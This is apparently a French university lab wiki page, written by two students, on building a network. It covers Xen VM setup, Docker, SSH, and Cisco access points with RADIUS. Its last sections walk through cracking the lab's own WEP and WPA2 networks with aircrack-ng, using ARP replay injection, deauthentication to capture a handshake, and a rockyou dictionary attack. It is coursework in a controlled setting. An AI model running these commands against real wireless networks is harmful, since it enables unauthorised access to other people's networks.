TP sysres IMA2a5 2019/2020 G6

De Wiki d'activités IMA
Révision datée du 6 novembre 2019 à 11:30 par Jcabrald (discussion | contributions) (Création de la machine virtuelle)

Jorge Cabral & Hamza Fahim

Introduction

Le projet a pour but de mettre en place un réseau sur 2 salles du bâtiment E de polytech constitué de 2 routeurs, 2 commutateurs, 2 bornes Wifi et un serveur. Chaque groupe dispose de machines virtuelles sur le serveur, qui permettront de constituer chacun un domaine acheté sur GANDI. Les routeurs et commutateurs seront configurés à l'aide de netbooks configurés par nos soins.


Installation du réseau : connexion des routeurs, commutateurs, bornes WiFi et du serveur Cordouan

Archi reseau17112018.png

Mise en place du serveur

Préparation et configuration des machines virtuelles

Création de la machine virtuelle

La machine virtuelle est crée sur le serveur Cordouan :

ssh root@dom0.corouan.insecserv.deule.net

Création de la machine virtuelle :

xen-create-image --hostname=triple-karmeliet --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.devuan.org/merged/ --force

Démarrage/Arrêt/Redémarrage de la machine virtuelle

Démarrage de la machine virtuelle : xl create /etc/xen/triple-karmeliet.cfg

Accès à la machine virtuelle : xl console triple-karmeliet

On peut revenir à la machine hôte sans arrêter la MV avec la combinaison ctrl+]

Arrêt de la machine virtuelle depuis l'hôte : xl destroy triple-karmeliet

Correction du bug d'affichage du message "mdadm: Duplicate MD device names...."

La machine virtuelle fraichement créée démarre, mais après l'affichage répétitif d'un message d'erreur avant de permettre d'ouvrir une session. L'erreur peut être corrigée avec la reconstruction de l'initramfs. Petite contrainte : on n'installera rien sur le serveur par respect pour son propriétaire. Dans la machine hôte, on crée un dossier d'amorçage dans le dossier de la machine virtuelle :

cd /usr/local/xen/domains/triple-karmeliet/
mount ./disk.img /mnt
cp -r /boot /mnt/boot

Dans la machine virtuelle maintenant :

update-initramfs -ut -k $(uname -r)

Si le message suivant apparaît :

The initramfs will attempt to resume from /dev/xvda2
(UUID=uuidDuSysteme)
set the RESUME variable to override this

On tapera alors la commande

export RESUME="UUID=uuidDuSysteme"

Ou éventuellement avec CSH ou TCSH

setenv RESUME "UUID=uuidDuSysteme"

Puis on réitère la commande. De retour sur la machine hôte :

cp -r /mnt/boot/ /usr/local/xen/domains/triple-karmeliet/boot

Modification de /etc/xen/triple-karmeliet.cfg

kernel  = '/usr/local/xen/domains/triple-karmeliet/boot/vmlinuz-4.14.0-3-amd64'
ramdisk = '/usr/local/xen/domains/triple-karmeliet/boot/initrd.img-4.14.0-3-amd64'

Au redémarrage de la MV, on constate que le message d'erreur ne survient plus.

Adaptation de la machine virtuelle à l'architecture réseau du projet

Modification du fichier /etc/xen/triple-karmeliet.cfg

vif = [ 'mac=00:16:3E:A8:74:CA, bridge=IMA2A5']

Coordonnées IP statiques de la machine virtuelle sur le fichier /etc/network/interfaces

auto eth0
address 193.48.57.166
netmask 255.255.255.240
gateway 193.48.57.173
gateway 193.48.57.174

Personnalisation des points de montage /var et /home

Création de 2 volumes de 10GB sur la machine hôte :

lvcreate -L10G -n triple-karmeliet-home virtual
lvcreate -L10G -n triple-karmeliet-var virtual

Formatage des volumes :

mkfs.ext4 /dev/virtual/triple-karmeliet-home
mkfs.ext4 /dev/virtual/triple-karmeliet-var

Inclusion des volumes dans la machine virtuelle en modifiant /etc/xen/triple-karmeliet.cfg :

root = '/dev/xvda2 ro'
disk = [
           'file:/usr/local/xen/domains/triple-karmeliet/disk.img,xvda2,w',
           'file:/usr/local/xen/domains/triple-karmeliet/swap.img,xvda1,w',
           'phy:/dev/virtual/triple-karmeliet-home,xvdb1,w',
           'phy:/dev/virtual/triple-karmeliet-var,xvdb2,w'
       ]

Installation de Docker

Docker est disponible pour Debian et ses dérivés après quelques commandes :

apt install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
apt-key fingerprint 0EBFCD88

Modification du fichier /etc/apt/sources.list

deb https://download.docker.com/linux/debian stretch stable

Installtion de docker

apt update ; apt install docker-ce

Création du service dockerd lancé au démarrage par runit :

mkdir /etc/service/dockerd

/etc/service/dockerd/run

#!/bin/sh
/usr/bin/dockerd

Octroiement de l'autorisation d'exécution du fichier run chmod +x /etc/service/dockerd/run

Installation des serveurs SSH, DNS et https

Installation du serveur ssh :

apt install openssh-server

Création du service sshd lancé au démarrage par runit :

mkdir /etc/service/sshd

/etc/service/sshd/run

#!/bin/sh
ssh-ketgen -A >/dev/null 2>&1
[ -r conf ] && . ./conf
exec /usr/sbin/sshd -D $OPTS

Octroiement de l'autorisation d'exécution du fichier run

chmod +x /etc/service/sshd/run

Configuration des points d'accès

Dans cette partie, on dispose de deux bornes wifi a configurer, la premiére en E306 et l'autre en E304, en utilisera le server FreeRadius pour l'identification. Pour cela, voici le procédé :

1/ Acceder à la configuration de la borne wifi :

   minicom -os

On modifiant ttyACM0 par exemple, avec 9600 bauds et sans control de flux.

2/ Se mettre en mode previligié :

   enable   // avec "Cisco" comme mot de passe.

3/ Se mettre en mode configuration :

   config term

// On peut verifier également la configuration de la borne avant de la modifier, avec la commande "show run"

4/ Pour utiliser le system en 'authentication, authorization, and accounting', il faut cette commande :

   aaa new-model

5/ On cree un server radius pour un utilisateur :

   radius-server host < ip_groupe1 > auth-port 1812 acct-port 1813  // on remplace ip_groupe1 par l'ip du groupe (de la VM) , avec comme port d'authentification 1812,et accounting 1813

6/ On defini le server group :

   aaa group server radius radius_groupe1  // on remplace groupe1 par le nom du groupe (ex: Coreff)

7/ Puis, on associe à se groupe de server le server creer sur la VM:

   server <ip_group1> auth-port 1812 acct-port 1813

8/ Ensuite, on defini le login et le groupe server que l'utilisateur passera pour s'authentifier :

   aaa authentication login eap_group1 group radius_group1   // groupe1 remplacé par le nom du groupe

NB : Les commandes 4 à 8, sont à faire pour chaque groupe de la promo.


9/ On arrive à la création des SSID, protégé par la méthode WPA2-EAP, on rajoutant le vlan du group :

   dot11 ssid SSID_GROUP                 // exemple : SSID_Coreff
   vlan vlan_groupe1                     // le vlan du groupe (ex : 2 )
   authentication open eap eap_group1
   authentication network-eap eap_group1
   authentication key-management wpa

NB : cette derniere commande est a faire pour chaque groupe.


10/ Configurer les vlans des groupes :

   interface Dot11Radio0                                   // on rentre d'abord dans l'interface Dot11Radio0
   encryption vlan vlan_groupe mode ciphers aes-ccm tkip   // Cette ligne est a faire pour chaque vlan, qui servira à chiffrer les paquets


Pour pouvoir se connecter au réseau, il faudra relier l'interfaces virtuelle à l'interface gigabites, via des 'bridge-groupe', et comme on a plusieur utilisateurs, donc il faut creer autant des sous-interfaces dot11radio0 et puis la relier aux sous-interfaces gigabites.


11 / Creer une sous-interface pour chaque utilisateur, en donnant à l'instance le numéro du vlan :

   interface dot11Radio0.num_vlan                          //  num_vlan a remplacer par le numéro du vlan 
   encapsulation dot1Q num_vlan
   bridge-groupe num_vlan


12/ Creer une sous-interface gigabite pour chaque utilisateur, en donnant à l'instance le numéro du vlan :

  interface gigabite0.num_vlan
  encapsulation dot1Q num_vlan
  bridge-groupe num_vlan


13/ Ajouter les SSID à l'interface Dot11Radio0

   interface Dot11Radio0                                 // se mettre dans la bonne interface (i.e Dot11Radio0)
   ssid SSID_groupe                                     // on remplace "groupe" par le nom du groupe de la promo        /* CETTE COMMANDE EST À FAIRE POUR TOUT LES SSID */


14/ rendre les SSID visibles :

   interface Dot11Radio0                               
   mbssid                                               // Il faut rajouter l'option "mbssid" à l'interface Dot11Radio0
   dot11 ssid SSID_groupe
   mbssid guest-mode                                    // mettre les ssid en guest-mode pour qu'il soient visibles.         /* CES COMMANDES SONT À FAIRE POUR CHAQUE SSID */
   


Crackage de la clé WEP

Pour cette partie, on avait un soucis avec le wifi du notebook, donc on a utilisé clé wi-pi.

Le process est assez simple, où il faut installer d'abord le package "aircrack-ng" :

   apt-get install aircrack-ng


en utilisant la commande "airmon-ng", on liste les interface disponibles :

   airmon-ng
  
   Airmon.png


On repére notre interface wlan, donc on va la démarrer :

   airmon-ng start wlan0mon                              // le nom original est trop long pour linux, donc il a été renomé " wlan0mon"
   Airmon start.png


Aprés avoir tuer les process, l'interface est prête pour le crackage.

1/ Lister les réseaux, avec des informations sur le trafic :

   airodump-ng -i wlan0mon  -c9                           // On écoute sur le canal 9  
   Airodump c9.png

2/ On peut simuler une association entre le eeePC et le point d'accès pour augmenter le trafic:

   aireplay-ng -1 0 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:2E:DC  wlan0mon       // l'adresse MAc du réseau ' cracotte 06' et puis la station associé
   Association.png

3/ Ensuite on utilise l'attaque avec les paquets ARP :

   aireplay-ng -3 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:2E:DC -e cracotte06 wlan0mon

Les arp request sont sauvegardés dans le fichier "replay_arp-1130-104715.cap" On laisse tourner cette commande sur un terminal, et on ouvre un autre terminal pour la commande suivante

4/ Cracker la clé :

   aircrack-ng replay_arp-1130-104715.cap

On choisit le numéro 6 => cracotte06

   Cracker.png


Cassage du WPA2

Dans cette partie, on utilisera la méthode du dictionnaire, vu qu'elle est plus rapide que celle de la force brute.

Pour cela, on procede ainsi :

1/ Ecouter le trafic réseau et le sauvegarder dans le fichier resultat :

   airodump-ng -w resultat -c9 wlan0mon                                      // on laisse tourner cette commande dans un terminal
   

2/ On utilise aireplay-ng avec l'option de désauthentification, qui nous permettra de recuperer le Handshake :

   aireplay-ng -0 0 -a 04:DA:D2:9C:50:50 -c 40:A5:EF:0F:68:CB wlan0mon
   Handshake.png

3/ On télécharge un dictionnaire, qui nous aidera a trouver la bonne combinaison, et une fois on a le handShake, on applique le fichier dictionnaire à aircrack-ng :

   aircrack-ng -0 -w /home/pifou/Downloads/rockyou.txt  resultat-03.cap      // le word list dans ce cas est le fichier rockyou.txt
   Crack.png


Et cela, peut prendre beaucoup de temps....